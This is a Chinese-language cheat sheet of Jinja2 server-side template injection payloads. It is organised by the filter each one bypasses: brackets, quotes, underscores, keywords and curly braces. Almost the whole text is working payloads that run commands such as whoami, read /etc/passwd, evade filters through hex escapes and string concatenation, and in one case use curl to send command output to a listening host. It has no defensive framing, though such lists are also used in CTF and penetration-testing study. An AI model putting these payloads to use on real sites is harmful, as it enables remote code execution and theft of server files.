目录
一、绕过[]过滤
方法一:__getitem__
方法二:pop()
二、绕过引号'过滤
方法一:对象request(jinjia2)
方法二:chr函数
三、绕过下划线_过滤
方法一:request.args.
四、关键字过滤
方法一:拼接
方法二:内置函数
方法三:转换
五、绕过花括号{}过滤
方法一:{% if ... %}1{% endif %}
一、绕过[]过滤
方法一:__getitem__
''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read()
方法二:pop()
移除列表中的一个元素(默认最后一个元素),并且返回该元素的值
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
二、绕过引号'过滤
方法一:对象request(jinjia2)
1、
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
args是数组,可以进行自定义传值
2、
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
方法二:chr函数
1、
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
2、
%2b是+,char()可以查看ASCII码对应表
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
三、绕过下划线_过滤
方法一:request.args.
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
GET传参:request.args
POST传参:request.values
四、关键字过滤
方法一:拼接
{{request['__cl'+'ass__'].__mro__[12]}}
或者
.__init__.__globals__["sys"+"tem"]
~ 在jinja中可以拼接字符串
方法二:内置函数
replace、decode……
方法三:转换
{{"".__class__}}
转换为十六进制进行绕过
{{""["\x5f\x5fclass\x5f\x5f"]}}
五、绕过花括号{}过滤
方法一:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
配合盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}